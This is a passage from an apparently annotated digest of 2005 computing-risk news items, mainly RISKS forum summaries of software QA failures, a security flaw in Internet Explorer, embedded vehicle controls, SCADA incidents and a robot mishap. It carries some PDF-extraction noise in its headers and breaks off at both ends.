	s have been a part of computing at least since the first co a time to have worked out the risks and put in place proce	
years is not too short.		1 1 10 : C 1 C 11 1 1
	an error, perhaps the heading on the relevant page should	d read: "Spring forward, fall back".

Category 21.1	General QA failures		
2005-07-14	software quality assurance QA design flaw bounds checl integrity nonsense sanity	cing impossibl	e values data
RISKS; http://www.cnn.com/2005/US/07/14/hot.summer.ap/index.html		23	94
TORRENTIAL METER ERROR			

The utility department in Mascoutah (Illinois) sent Rose Mary Cook a bill for the use of 10 million gallons of water in a month, totalling \$29,787 for the water and \$43,581 for the ensuing sewer usage. The cause was not surprisingly the result of a broken meter.

[Abstract by Peter G. Neumann, who ask, "Why doesn't meter reading use sanity checking?"]

[MK adds that teachers of systems design and programming should drill their students in the principle that all inputs should be checked for reasonableness. For example, 10M gallons in, say, 30 days implies a continuous flow of almost 4 gallons _per second_ throughout the month. A well written program would have flagged the data error before sending the monstrous bill.]

Category 21.1	General QA failures	
2005-07-17	data corruption database medical records admissions consults disaster plan backups continuity planning failure catastrophe acquisition	
RISKS	23 94	

LISBON HOSPITAL RECORDS SYSTEM DOWN 10 DAYS DUE TO DATABASE CRASH

Lisbon newspaper "O Público" reports today that the main information system for the Lisbon Hospital Center, which supports three large Lisbon hospitals, has not worked since July 8. It appears that the master patient index has become inaccessible, and may be lost. If a patient shows up without a hospital-issued card, which includes a patient id number, the patient's records cannot be accessed. Out- patient consultations and admissions are being processed manually, causing "great confusion." Emergency room admissions are much slower than usual. The waiting list for surgery also appears lost, although that has not been confirmed. A doctor at one of the hospitals and board member for a doctors union said that "No one knows for certain what will happen or when the problem will be solved." The assistant to the director of the hospital group explains that "The system failed totally eight days ago, and technicians tried to restore it immediately, but without success. At the beginning of last week, the US firm who supplied the system was brought in, and it is expected that the situation will be resolved by Monday." He also said that the failure was unexpected, that the hospital group did not the ability to fix it on their own, and that the breakdown "has had no impact on the normal functioning of the hospitals, except for the slowdown in patient registration."

So, it takes much longer to admit patients, their medical records are inaccessible unless they have registered before and bring with them their registration card (something that anyone dealing with a medical emergency will for sure remember to do), and doctors report confusion, but there's really no impact, according to the hospital group administration. A mission-critical system has no backup or immediate access to repair expertise.

For readers not familiar with Portugal, Lisbon public hospitals are notorious for poor financing, inefficiency, bureaucracy, and long waiting lists. They cater mostly to those who cannot afford private care, especially many pensioners in an aging city. Another common problem with public institutions in Portugal are poor procurement controls, especially for technology and informations services. Many purchases are made without much attention to cost of ownership, service guarantees, or access to parts and service. Some administrators are too easily seduced by fancy presentations by local representatives of foreign suppliers who have no local expertise or staying power.

[Report by Fernando Pereira]

Category 21.1 General QA failures 2005-07-24 hacker vulnerability disclosure reward discovery TippingPoint EDUPAGE; http://news.com.com/2100-7350 3-5802411.html

PAYING HACKERS FOR BUGS

Computer-security firm TippingPoint has begun a program to pay rewards to individuals who report computer vulnerabilities. Not unlike similar programs from other companies, the TippingPoint deal offers a variable amount of money if a reported bug proves valid. The company will use the information to update its own protection software and will notify the maker of the vulnerable product about the problem. David Endler, director of security research at TippingPoint, said the reward program is intended to "reward and encourage independent security research" and to "ensure responsible disclosure of vulnerabilities." Not all security companies believe in bounties. Internet Security Systems, for one, said that paying for such bug reports amounts to having hackers do a company's research for it. An official from Internet Security Systems also noted that the bugs reported in such programs are typically very low-level problems, saying that the more extreme vulnerabilities are worth much more when used for hacking than if turned in to security companies. CNET, 24 July 2005

Category 21.1 General QA failures

2005-09-06 software quality assurance QA design software engineering project management maintainability catastrophe mess disaster insurance calculations refunds errors

RISKS; http://tinyurl.com/8qhuz (in German)

24 03

GERMAN GOVERNMENT SOFTWARE OVERPAYS PREMIUMS BY \$25M PER MONTH

In the never-ending tale of woe surrounding the German social services and unemployment software A2LL (produced by T-Systems, the software arm of the former German state Telecom company), the Spiegel has just reported that the software miscalculates the health insurance premiums that the government pays every month - to the tune of 25 million Euros too much, every month. The bill is footed by the taxpayers, of course, since T-Systems wisely put a cap in to contract for reparations - a maximum of 5 million Euros is all T-Systems needs to pay.

. . . .

According to *Der Spiegel*, an expert commission is already discussing what to do with the software, which was taken into service just in January of 2005. It has been declared to be in such a state of non-maintainability and non-adaptability ("nicht mehr wartungs- und entwicklungsfähig") that they are speaking about an entirely new software - to be written, of course, by T-Systems, who brought on this mess in the first place. They just are trying to decide whether to start a new central "solution" or a decentralized one for each unemployment office, as there are many local rules and insurance providers that seem to be causing difficulty.

The problem is with the insurance premiums for the unemployed, which was lowered retrospectively to save money for the government in March. A health insurance umbrella organization, VdAK, says it has difficulty in determining how much to pay back, if anything, because they do not know for exactly which people and months the wrong premium was calculated. A previous large error reported completely wrong data on who exactly was insured when to the insurance companies. The VdAK has said that when the German Social Services BA (Bundesagentur für Arbeit) gets their software straightened out, they will be glad - for a fee, of course - to see if they can repay the premiums payed in error.

[Summary by Deborah Weber-Wulff]

Category 21.1	General QA failures
2005-10-13	sustainability databases NSF data integrity accessibility
EDIDACE $1 - 1/$	· · 1 1 · 1 1 / / / 2005 / 10 / 12 / 1 · · 1

EDUPAGE; http://www.insidehighered.com/news/2005/10/13/digital

REPORT ADDRESSES SUSTAINABILITY OF DATABASES

A new report from a National Science Board task force calls on the federal government to implement a clear and focused strategy to ensure that growing collections of information in databases remain accessible and easy to use in the coming years. The report argues that the National Science Foundation (NSF), which has financed many technological developments in recent years, has not crafted policies and strategies that consider and address the range of technologies for storing data. The report praises the improvements that have been made to systems that collect various types of material in digital form and make those materials widely available online, but it says the need is "urgent" for a strategy to guarantee the viability of those materials. The concern, according to the report, is that as technology platforms continue to evolve, some digital content could be left in the lurch, unable to be accessed by newer systems. The report makes a number of recommendations for the NSF, including coordinating efforts between data storage and users of those data, promoting effective training, and supporting efforts to educate "a sufficient number of high-quality data scientists" to manage such systems. Inside Higher Ed, 13 October 2005

Category 21.1	General QA failures				
2005-10-17	software quality assurance QA testing failure errors data corr incompetence	uption fraud			
RISKS; http://tinyur	l.com/create.php;	24	08		
DOESN'T *ANYONE	DOESN'T *ANYONE* CHECK THEIR RESULTS ANY MORE?				
MassHighway admitted that the state had found 19 legends on the new signs with significant errors in mileage. That's 12 percent of the 164 new signs in the \$1.05 million contract.					
According to the contractor, some of the distances were calculated using Microsoft's Streets & Trips software. According to Microsoft, the software without a GPS hookup costs \$39.95. This contractor was paid \$130,000 by the state.					
Apparently the contractor had tried to use Mapquest, but found it unreliable.					
One sign on Interstate 93 north, near Exit 45 in Andover, reported that Manchester, N.H. Was 42 miles away, although the					

One sign on Interstate 93 north, near Exit 45 in Andover, reported that Manchester, N.H. Was 42 miles away, although the actual distance is just a bit more than 28 miles. Another sign on Route 128/95 in Needham reported that Wellesley is 7 miles away. The actual distance is slightly less than 3 miles. A sign on Route 3 north in Braintree listed the distance to I-93 as 5 miles when the distance by odometer was 3 miles.

[RISKS frequent contributor Monty Solomon used quotations from a couple of articles in the summary above.]

Category 21.1	General QA failures		
2005-12-01	automobile brake testing failure quality assurance failure l	ack of feedba	ack
RISKS; http://www.theregister.co.uk/2005/11/29/mercedes_brake_test_fiasco/ 24 11		11	
MERCEDES AUTOMOBILE TEST FAILURE			

RISKS contributor Andre Kramer summarizes an article from _The Register_:

The Register reports that an automotive journalist was fired for rigging a radar enhanced (assumedly computer controlled) automobile brake system demonstration. Apparently, the Mercedes engineers (under duress) helped simulate the demonstration, which could not have worked in an enclosed space, by manual braking. However, the demo went badly wrong and the article http://www.theregister.co.uk/2005/11/29/mercedes_brake_test_fiasco/ correctly identified the risk of false trust in a new system that would have resulted from the attempted smoke and black mirrors going undetected. [Risks of lack of feedback from expensive car suspension systems could also be noted.]

Category 21.1 General QA failures 2005-12-01 Japan Tokyo Stock Exchange human data-input error multimillion dollar loss Mizuho Securities Co. software quality assurance design flaw

RISKS; http://business.timesonline.co.uk/article/0,13133-1948579,00.html 24 12

HUMAN ERROR RESULTS IN \$MULTIMILLION LOSS

Japanese financial-services firm Mizuho Securities Co. Said Thursday it erroneously placed sell orders because of a simple human data-input mistake that apparently ignored an error warning. This cost Mizuho at least 27 billion yen (\$225 million). The company mistakenly sold 610,000 shares of J-Com Co. At 1 yen (less than 1 cent) per share, instead of the request to sell just one share at 610,000 yen (\$5,080). The mishap sent the benchmark Nikkei 225 index down 1.95 percent on the Tokyo Stock Exchange. Mizuho Financial Group dropped 3.4 percent to 890,000 yen (\$7,416.67).

[Abstract by Peter G. Neumann]

RISKS contributor Tomas Uribe follows-up:

One would think that "money-critical" systems would have more stringent safeguards against this type of thing. Also, someone must have made \$225 million as well--who might have been the lucky ones who bought the discounted shares?

Jeremy Epstein dug through the RISKS archive to find a similar mishap at the Tokyo Stock Exchange (RISKS-21.81):

Before the Tokyo market opened Friday, a UBS Warburg trader entered what was intended to be an order to sell 16 Dentsu shares at 610,000 yen (\$4,924.53) each or above. Instead, the trader keyed in an order to sell 610,000 Dentsu shares at 16 yen apiece.

Peter Neumann remarks, "I knew the new case sounded familiar! Perhaps the 610,000 is a default number for an erroneous field? That's quite a coincidence."

In another follow-up, "RsH" writes:

As per the information in the Reuters item http://asia.news.yahoo.com/051211/3/2c7vk.html the actual loss may be lower or more than the \$225 million as the amount of the premium that will need to be paid to by back shares is still to be determined. The sale order was for about 41 times the actual number of shares actually outstanding, incidentally.

It turns out that the Tokyo Stock Exchange's own software was responsible for part of the problem, as it prevented the cancellation of the order from being processed!

RsH echoes Jeremy Epstein's comment: Also note that this is NOT the first time this has happened at the TSE, and they have yet to fix their system!

The Times, a UK newspaper had the following story about how this episode at the TSE concluded:

The president of the Tokyo Stock Exchange resigned yesterday to take responsibility for the "fat-finger" trading error that sparked a day of mayhem on Tokyo markets earlier this month. Takuo Tsurushima resigned along with Sadao Yoshino, the bourse's managing director, and Yasuo Tobiyama, its head of computer systems. The incident has left considerable turmoil in its wake: Mizuho Securities lost 40 billion yen (Å£195 million) on the botched trade and two Japanese day traders made Y2.5 billion in a few minutes.

Western investment houses who made money from the error have been publicly criticized by the Japanese Government and agreed to pay the profits they made into an investors' protection fund.

Losses from the trade were sufficient to force Mizuho to cancel all end-of-year bonuses from the securities arm. The trader, believed to be a 24-year-old woman relatively inexperienced on the dealing floor, had wanted to sell one share in J Com, a new telecoms firm, for Y600,000. She mistyped the order and sold 600,000 shares at Y1 each.

Category 21.1 General QA failures 2005-12-02 Microsoft Internet Explorer IE design flaw crack Google Desktop Search hijack user information

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1895579,00.asp?kc=EWRSS 03129TX1K0000614

IE DESIGN FLAW LETS HACKER CRACK GOOGLE

An unpatched design flaw in Microsoft Corp.'s Internet Explorer browser could give malicious hackers an easy way to use the Google Desktop application to covertly hijack user information. The vulnerability was discovered in the cross-domain protections in Internet Explorer and a proof-of-concept exploit has been published. A spokesperson for Microsoft acknowledged the flaw in a statement and said the company was unaware of active attacks against IE users. The hacker who discovered the vulnerability used the Google Desktop utility to prove his findings, but in theory, any domain or application that depends on the IE cross-domain security model is vulnerable. Google spokesperson Sonya Boralv said initial investigations show that the problem resides in IE and not as a result of any vulnerabilities in Google Desktop, the downloadable utility that lets PC users merge desktop and search results on the well-known browser interface.

Category 21.1 General QA failures

2005-12-05 Microsoft Internet Explorer IE design flaw crack Google Desktop Search fortified

DHS IAIP Daily; http://www.pcpro.co.uk/news/81024/google-fortifies-desktop -s earch-against-ie-flaw.html

GOOGLE FORTIFIES DESKTOP SEARCH AGAINST IE FLAW

Google has altered its Desktop Search so that it can no longer be used in digital attacks in conjunction with a flaw in Microsoft's Internet Explorer (IE). On Friday, December 2, an Israeli hacker reported having discovered a means of remotely using Google desktop search to remotely search the computers logged on to a specially built website using Microsoft's IE. Problems in the way the browser handles Cascading Style Sheets (CSS) led to a short cut round the restrictions the browser places on interaction between different domains. Hacker Matan Gillon posted proof-of-concept code last week, but now says that it now "no longer works because Google slightly changed their site's code." However, Google told reporters that the flaw is a problem with IE, rather than the search giant's software, so the CSS problem remains at large.

Category 21.1 General QA failures

2005-12-08 Microsoft Internet Explorer IE7 security improvements blog entry developers

DHS IAIP Daily;

http://www.techweb.com/wire/security/174906971;jsessionid=WR E35TOIAV2AUQSNDBECKH0CJUMEKJVN

MICROSOFT TO BEEF UP INTERNET EXPLORER 7 SECURITY

Microsoft is changing Internet Explorer (IE) 7's security zones in a bid to create a more attack-resistant browser, according to a public blog entry written by three developers at the software giant. Like its predecessors, IE 7 enforces security policies by clumping sites into four security categories, or zones, dubbed Internet, Intranet, Trusted Sites, and Restricted Sites. Typically, the Intranet zone comes with fewer restrictions than the Internet zone. In the past, however, attackers have sometimes managed to fool IE into treating an outside site as in one of the less-secure zones, known as a "zone-spoofing attack." To prevent some of these attacks, IE 7 will instead treat all sites as being in the more-secure Internet zone, unless the PC is really part of a managed network (such as is often the case in a corporate environment). "This change effectively removes the attack surface of the intranet zone for home PC users," wrote Vishu Gupta, Rob Franco and Venkat Kudulur, on the trio's "IEblog".

Category 21.1	General QA failures
2005-12-16	compiler trust trusted computing base Trojan horse insertion code software
	engineering quality assurance design flaws subversion

RISKS; http://www.acsa-admin.org/2005/abstracts/47.html

13

24

24

13

COUNTERING TRUSTING TRUST THROUGH DIVERSE DOUBLE-COMPILING

David A. Wheeler published a paper about trusting compilers.

>Everyone here should be familiar with Ken Thompson's famous "Reflections on Trusting Trust." If not, see: < http://www.acm.org/classics/sep95/>. The "trusting trust" attack subverts the compiler binary; if attacker succeeds, you're doomed. Well, till now.

I've written a paper on an approach to counter this attack. See: "Countering Trusting Trust through Diverse Double-Compiling."

Here's the abstract:

An Air Force evaluation of Multics, and Ken Thompson's famous Turing award lecture "Reflections on Trusting Trust," showed that compilers can be subverted to insert malicious Trojan horses into critical software, including themselves. If this attack goes undetected, even complete analysis of a system's source code will not find the malicious code that is running, and methods for detecting this particular attack are not widely known. This paper describes a practical technique, termed diverse double-compiling (DDC), that detects this attack and some unintended compiler defects as well. Simply recompile the purported source code twice: once with a second (trusted) compiler, and again using the result of the first compilation. If the result is bit-for-bit identical with the untrusted binary, then the source code accurately represents the binary. This technique has been mentioned informally, but its issues and ramifications have not been identified or discussed in a peer-reviewed work, nor has a public demonstration been made. This paper describes the technique, justifies it, describes how to overcome practical challenges, and demonstrates it.<

Category 21.1	General QA failures
2005-12-20	Kansas state lottery non-random pseudo-random number generator winning quality assurance QA software design flaw

RISKS; http://abcnews.go.com/US/story?id=1425383

"RANDOM" LOTTERY WINNERS?

The same three numbers (5-0-9) came up in the same order on 16, 17, and 18 Dec 2005 in the Kansas Lottery Pick Three. On the third night, many people apparently chose 5-0-9, costing the lottery nearly twice what was paid in. Lottery security officials insist that the system was working normally. (Perhaps the random-number generator had gone to seed?)

[Abstract by Peter G. Neumann]

Category 21.1	General QA failures		
2005-12-23	spreadsheet software quality assurance assumptions of	questions	
RISKS; http://www.sciencenews.org/articles/20051217/mathtrek.asp		24	13
QUESTIONING SPREADSHEET SOFTWARE QUALITY ASSURANCE			

Spreadsheets create an illusion of orderliness, accuracy, and integrity. The tidy rows and columns of data, instant calculations, eerily invisible updating, and other features of these ubiquitous instruments contribute to this soothing impression. At the same time, faulty spreadsheets and poor spreadsheet practices have been implicated in a wide variety of business and financial problems.

[Abstract by Peter G. Neumann]

RISKS moderator Dr Neumann (PGN) adds:

PGN-excerpted from a nice article with a bunch of references, including Ivars' 1996 book, Fatal Defect: Chasing Killer Computer Bugs, which itself cited some earlier RISKS reports. The last two references are particularly relevant:

The European Spreadsheet Risks Interest Group (EuSpRIG) has a Web site at http://www.eusprig.org/.

Spreadsheet Research, maintained by Ray Panko of the University of Hawaii, is a repository for research on spreadsheet development, testing, use, and technology: http://panko.cba.hawaii.edu/ssr/.

21.2 Security product QA failures

Category 21.2 Security product QA failures

2005-04-25 Trend Micro antivirus software update problem Windows XP SP2

DHS IAIP Daily; http://news.zdnet.co.uk/0,39020330,39196220,00.htm

TREND MICRO CUSTOMERS SUFFER WEEKEND PROBLEMS

Trend Micro apologized on Monday, April 25, for distributing a faulty software update that caused IT workers around the world to spend the weekend fixing their systems. The Japan-based antivirus company has promised to compensate customers whose computers running Windows XP SP2 were disabled by the update. The company said the update was only available for ninety minutes and caused "certain performance issues" with CPUs. Trend Micro, which denied rumors that the update included a virus, said it didn't know what had caused the incident but that it had now issued a fix and was working with channel partners to solve the problem. Trend Micro said that most of the businesses affected were located in Japan, and that few complaints had been received from customers in the U.S. and Europe. The update affected versions 7.5 and above of Trend Micro's Scan Engine.

 Category
 21.2
 Security product QA failures

 2005-08-01
 Emergency Alert System data entry error user interface verification software quality assurance QA design input checking verification hardware problem bug glitch flaw

RISKS; http://www.wired.com/news/technology/0,1282,68363,00.html 23 96

EMERGENCY ALERT SYSTEM ERRORS IN FLORIDA & NEVADA

Kevin Poulson reported in _Wired_ on two errors in the Emergency Alert System (EAS) at the end of July that luckily failed to cause panic.

"The Florida gaffe occurred when an operator at the National Weather Service's Tallahassee forecast office inadvertently entered the code 'RHW' instead of 'RWT', keying a radiological hazard warning instead of a required weekly test.... Fortunately, it failed to cause panic, in part because the audio accompanying the message still identified it as 'only a test,' and the office moved rapidly to quash the false alarm."

In Las Vegas, radio station "KXTE-FM tried to send out a message canceling an earlier Amber Alert, and instead transmitted an EAN, or emergency action notification -- a special code reserved for the president of the United States to use in the event of a nuclear war or similar extreme national emergency.... The error apparently resulted from a hardware problem in the station's EAS encoder-decoder. "We think that the internal battery had failed, the programming had scrambled itself," said [a spokesperson for KXTE]."

Category 21.2 Security product QA failures

2005-08-03 lightning damage lightning-detection system recursion

RISKS; http://tinyurl.com/7jf8h

RECURSIVE LIGHTNING PROBLEMS

A bit of light-hearted fun at the expense of the lightning-detection folks:

Klaus Johannes Rusch noted this recursive case of vulnerability to what's being monitored:

>Fortunately there were only a few minor injuries when a plane overshot a runway at Pearson International Airport. According to a CBC report ... most operations on the airport had been suspended due to bad weather: "... a spokesperson with the Greater Toronto Airports Authority said lightning was causing technical problems with the airport's lightning-detection system." Why would one expect that lightning-detection systems could cope with lightning?<

Peter G. Neumann chimed in with an amusing recollection of a similar case:

>My favorite meta-lightning event occurred was when I was giving a lecture in my Survivable Systems course at Maryland, and I was talking about the time at Wallops Island where they had several missiles ready to launch because they wanted to study the effects of lightning on the missile controls. As some of you may remember, lightning hit the launch platform and triggered the launching of one of the missiles (which I mentioned most recently in RISKS-20.42). Just at that point in the lecture, lightning hit the lecture room and took down the computer controlling the outfeeds to remote classrooms and our own video monitors. Some of the students wondered how I had managed such a theatrical effect.<

24

01

Category 21.2	Security product QA failures		
2005-10-13	automated teller machines ATM banking denial of serva quality assurance input error QA design testing	ice DoS failure s	software
RISKS; http://www	.nu.nl/news.jsp?n=603834&c=122&rss (in Dutch)	24	07
UNLUCKY SEVEN			

The Dexia Bank ATM machines are experiencing a curious problem. The machines stop functioning when someone enters the number 7, making it impossible for people with a 7 in their pin (personal identification number) code to perform a cash withdrawal.

The problem has been occurring for a month. To prevent people from running out of cash, they are able to perform cash withdrawals inside. "We are experiencing a problem with the software", a Dexia spokesman admitted last Wednesday in the daily journal Het Laatste Nieuws, "the problems should be solved within three weeks."

[Abstract by Lindsay Marshall]

[MK comments: THREE WEEKS?!?]

21.3 Embedded processors

Category 21.3	Embedded processors
2005-05-17	automobile control systems engine failure shutdown speed safety software quality assurance QA

RISKS; http://tinyurl.com/9u6pt(subscribers only); http://tinyurl.com/dov9m2387SOME PRIUS CARS SHUT DOWN AT SPEED2387

Peter G. Neumann summarized an article about an upsetting software error:

The U.S. National Highway Transportation Safety Administration has 13 reports of Toyota's Prius gas-electric hybrid cars (2004 and early 2005) stalling or shutting down at highway-driving speeds, which Toyota attributes to software problems.

The original article by Sholnn Freeman from the Wall Stree Journal included this text:

>Toyota spokesman Sam Butto said the auto maker identified a "programming error" in the computer systems of 23,900 Prius cars last year. He said that last May Toyota sent owners of those cars service warnings telling them to go to their dealerships for a software upgrade. But he said he wasn't sure how many people went in to receive the hour-long fix.

He and another Toyota spokesman said the auto maker isn't sure if the latest problems associated with 2004 Prius models involve buyers who never got the upgrade or if an altogether different glitch is shutting the car down.<

Edwin Slonim commented in RISKS:

I have always feared losing power, brakes and steering at high speed - with a helpful dashboard indication of "internal error 687, please reset". Looks like it is starting to happen. Of course we need to put this into proportion - how many cars stall at high speed with a fuel blockage, or swerve with a blowout.

Category 21.3 Embedded processors 2005-07-20 embedded control systems automobile safety shutoff flaw error damage emergency design override

95

23

24

03

DOES THE PROGRAMMER ALWAYS KNOW BEST?

Bob Paddock reported in RISKS that his Chrysler Voyager van seems to have been damaged by lightning recently and illustrated a design flaw that affects many other software and firmware systems: the assumption that users are complete idiots who cannot be trusted to override an automated decision no matter what the circumstances.

>Got the van out Friday night. I pulled out of the garage and as soon as I hit the road the Check Engine Light came on and the speedometer dropped to zero, as I continued to gain speed, going up the hill. The automatic transmission was now stuck in 1st-gear. I turned around a few driveways up the street and went back to the house. Made appointment to take it in for servicing the next morning.

Dealer is about four miles down the street. Limped along in 1st-gear to the dealer the next morning until we reached the only major four way intersection in this four mile gauntlet.

Right in the middle of the intersection the engine died like I turned the key off. A good Samaritan pushed the van off the road. The dealer came and towed the van for the last mile of the trip.

The dealer said that a tachometer feedback sensor had gone bad "and the van didn't know what speed it was going so it shut down to be safe".

Now for the Us vs Embedded part of the story: Isn't it sufficient that *I* knew stopping in the middle of a busy four way intersections was a Really Bad Thing to do? *It* thought it knew better than I did.

I'm really glad I did not have to cross any railroad tracks when *it* decided to stop on the crossing because it thought it was safe, rather than listen to my commands.<

* * *

RISKS

RISKS

In followup comments in RISKS 23.96, Michael Kohne warned that the dealer's hypothesis might be unfounded -- the reasons for the engine shutdown could have been something else entirely. Or perhaps "Another alternative is that he doesn't mean 'safe' the way you mean safe. He means 'it shut the engine down as an alternative to revving up until it explodes'. Because I guarantee that if the van's CPU let a bad sensor destroy the engine you'd be plenty po'd, and you'd probably be screaming even louder."

Category 21.3	Embedded processors
2005-08-13	system design flaw identification authentication I&A failure collision automobile security

SINGLE-STATE AUTOMATON*

Last week I watched the chauffeur of a Mercedes car. There was a parking spot left just in front of another Mercedes. Both different types, though fairly new. As I watched by the chauffeur got out of her car and pushed the button on the remote control to close the doors.

The system worked. The doors of the Mercedes closed. The already parked Mercedes responded with a happy 'click' and opened its doors. The chauffeur, confident the click was her car telling everything was fine, didn't pay attention, until I pointed her to the fact that she opened the other Mercedes.

She tried several times. When her car opened the other one closed. And vice versa. But she didn't see it as a problem, she could close the doors of her car and walk away. Until I pointed out the system probably worked the other way round as well

[Abstract (lightly edited by MK) from Leon Kunders]

^{*} MK explains: a "single-state automaton" is a device that can be either on or off and cycles between the states without memory. For example, an elevator call-button is a single-state automaton: pressing it multiple times once it is on does nothing to increase the speed of the elevator.

21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls

Category 21.4	SCADA (supervisory control and data acquisition) systems, vehicle control	rols	
2005-06-23	denial of service DoS power electricity failure railway par temperature air conditioning single point of failure syster tolerance	2	2
RISKS		23	92

SINGLE POINT OF FAILURE PARALYZES SWISS RAILSYSTEM FOR 3 HOURS

On 22 Jun 2005 at 5.08pm, a power short occurred between Amsted (Canton Uri) and Rotkreuz (Canton Zug, which in German means "train") on the Swiss train line. The SBB (Schweizerischen Bundesbahnen) operated their own power lines, and this short circuit caused a sharp drop in voltage, which quickly spread throughout the ENTIRE country of Switzerland.

Trains were stalled in the middle of nowhere, with no air conditioning in the heat of the summer. Some train doors could not be opened. More than 200,000 passengers were affected. It took about two hours to get everyone out of the trains. SBB used busses to transport stranded passengers and diesel locomotives to drag trains to the nearest station.

It took two more hours before enough power was restored in order for the trains to begin moving. But the efficient Swiss worked all night moving trains so that everything moved rather smoothly the next day.

There were allegedly no computers involved, but the single point of failure was a vivid illustration of many RISKS concepts, not the least of which is: don't throw out those diesel locomotives yet!

[Report from Debora Weber-Wulff]

Anthony Thorn added:

>My concern --and arguably the risk-- is the impact of such an incident on passenger trains in the new Gotthard "base"-tunnel which will open in 2011. This will be 57 Km (35 miles) long and run at depths up to 2000 meters (7000 feet) which means that the tunnel temperature will exceed 45 C. (113 F). If a train is stopped in the tunnel a very rapid response would be required to avoid a catastrophe.<

Category 21.4	SCADA (supervisory control and data acquisition) systems, vehicle contr	ols	
2005-07-06	supervisory control data acquisition SCADA system failur assurance QA failure bug flaw air pollution human safety emissions monitor	-	•
RISKS; http://tinyurl.com/dvtga 23		23	93

RISKS; http://tinyurl.com/dvtga

SCADA SYSTEM FAILURE CAUSES AIR POLLUTION

24

05

Bill Hopkins relays a report from Pennsylvania:

>Our local newspaper reports in print (but not on line) that Exelon Power's Cromby generator in Phoenixville, PA exceeded pollution limits for seven months in 2004 after an unidentified "vendor" programmed an emissions monitor for the wrong standards, and that the company will pay 600 grand. Websites for the company and the PA Dept of Environmental Protection confirm the story. Exelon is the parent company of PECO Energy, formerly Philadelphia Electric Co., which supplies power to the area.

Cromby has two generators, one coal-fired and one switchable between oil and natural gas. The vendor ("a big company" says Exelon) set the monitor for the coal-fired unit to standards for the other unit. (I would guess that the SO2 limits for oil might be higher.) Exelon discovered the problem while aggregating data "for a large use," stopped it and turned itself in. DEP assesses a fine for each day of violation.

Risks for a company: trusting the dials and trusting the vendor when you're on the hook.

Risks for the rest of us: breathing in.<

Category 21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls

2005-09-17 avionics software quality assurance QS glitch error bug flaw disaster control SCADA supervisory control data acquisition

RISKS; http://tinyurl.com/bkg7d

SOFTWARE FAILURE HIJACKS MALAYSIAN AIRLINES BOEING 777

The Australian (17 Sep 2005) has a chilling story about the pilots of a Malaysian Airlines 777 flying from Perth to Kuala Lumpur last month battling to regain control after an "unknown computer error" caused the aircraft to pitch violently, and brought it close to stalling.

An Australian Transport Safety Bureau report ... released yesterday reveals the pilot in command disconnected the autopilot and lowered the plane's nose to prevent a stall, after incorrect data from a supposedly fail-safe device caused the plane to pitch up and climb 3000ft, cutting its indicated air speed from 500kmh to 292kmh, activating a stall warning and a "stickshaker". [A stickshaker vibrates the aircraft's controls to warn the piot when he is approaching stall speed ... which, you know, means the plane is about to fall out of the air.]

The system refused to give up control, however. It increased the power on the automatic throttle, forcing the pilot to counter by pushing the thrust levers to the idle position. The aircraft immediately pitched up again, and climbed 2000ft.

The pilot turned back to Perth under manual control. When he kicked in the two autopilot systems, the plane banked to the right, and the nose pitched down.

On its landing approach, at 3000ft, the flight display gave a low airspeed warning and the auto-throttle increased thrust. The warning system also indicated a dangerous windshear, but the crew landed the jet safely.

According to the report, "investigations are focusing on faulty acceleration figures supplied by a device called the Air Data Inertial Reference Unit". The ADIRU collates aircraft navigation and performance data from other systems and passes the information to the primary flight computer.

What's potentially more disturbing, however -- and neither the Transport Safety Bureau nor The Australian appear to have picked this up -- is that a US FAA directive ... in June this year highlighted other problems with the Boeing 777's ADIRU.

Boeing has told operators of the jet -- which by the way has the best safety record of any aircraft ... -- to load a previous software version.

[Summary by Charles Wright][

Category 21.4	SCADA (supervisory control and data acquisition) systems, vehicle control	ls	
2005-10-18	automobile control system software engineering design fla driving brakes failsafe stupid insane nuts gaga	w quality ass	surance QA
RISKS;		24	08
http://www.inform	ationweek.com/story/showArticle.jhtml?articleID=170702055		

WHO THINKS OF THESE SYSTEMS? AND WHAT DRUGS ARE THEY ON?

Peter Scott comments on possibly the worst idea in automotive design history:

>Toyota is testing technology meant to keep a driver's eyes on the road, according to The Associated Press. The technology employs a camera attached near the car's steering wheel and image-processing software that recognizes when the driver isn't facing forward. The system flashes a light on the dashboard and beeps when the driver looks away, according to the AP. If the driver doesn't respond, *the brakes are applied automatically*. The feature will be in Lexus luxury models to be sold in Japan next spring.

Well, *that* sounds reliable... I feel safer already.

I hope they paint them a distinctive color so I can recognize them on the road and stay well away...<

Category 21.4	SCADA (supervisory control and data acquisition) systems, vehicle controls
2005-11-09	quality assurance QA fail-safe denial of service DoS safety-critical system design emergency override

RISKS; http://archiv.tagesspiegel.de/archiv/09.11.2005/2163080.asp (in German)2409FAIL-SAFE DIDN'T: BERLIN TUNNEL TESTS SNARL TRAFFIC

After a night of repairs to one of the autobahn tunnels in Berlin the crew wanted to test the fire alarm system. They tried starting some of the fire alarms, and were worried that the automatic gates that are to keep cars from entering a tunnel with a possible fire weren't closing right. They punched more and more alarms, and the gates on both tunnel tubes (work was going on in only one tube) suddenly banged closed - and the computer regulating them crashed.

The gates failed safe -- but they couldn't be opened again. Not by hand, and not by computer, which just refused to start again. They worked feverishly from 5am to 10am, trying to get the gates open again so that traffic (which is normally very heavy at that time of the morning), could move. [I'm glad I took the train yesterday!-dww]

Police were able to evacuate cars trapped in the tunnel by way of an exit from the tunnel, which was not gated.

A special complication was that the gates on the north end of the tunnel were made by a different company than the gates on the south end of the tunnel, this caused "additional problems". Which ones, are left to the comp.risks readers as an exercise.

It is still not clear how the error happened or why the computer would not re-start, speculation has it that the computer couldn't handle so many fire alarms at the same time.

Moral of the story:

- * It was good that the system failed safe.
- * It was bad that it did not seem able to handle the number of fire alarms that are installed in the tubes.
- * If you have different suppliers for parts, you want to make sure they are still delivering the same stuff.

[Summary by Debora Weber-Wulff]

21.5 Robots

Category 21.5	Robots		
2005-06-15	robot control failure flaw danger software quality	assurance QA	
RISKS; http://tin	yurl.com/8c6ct; http://tinyurl.com/cmee5	23	92
WALDO GOES W	ILD		
The Register publ	ished this tongue-in-cheek report on a robot gone off its nut:		

* Robot runs riot at California hospital *

Staff and patients at San Francisco's UCSF Medical Center were left fearful and shaken last week, when a robotic nurse threw off its shackles and went on the rampage.

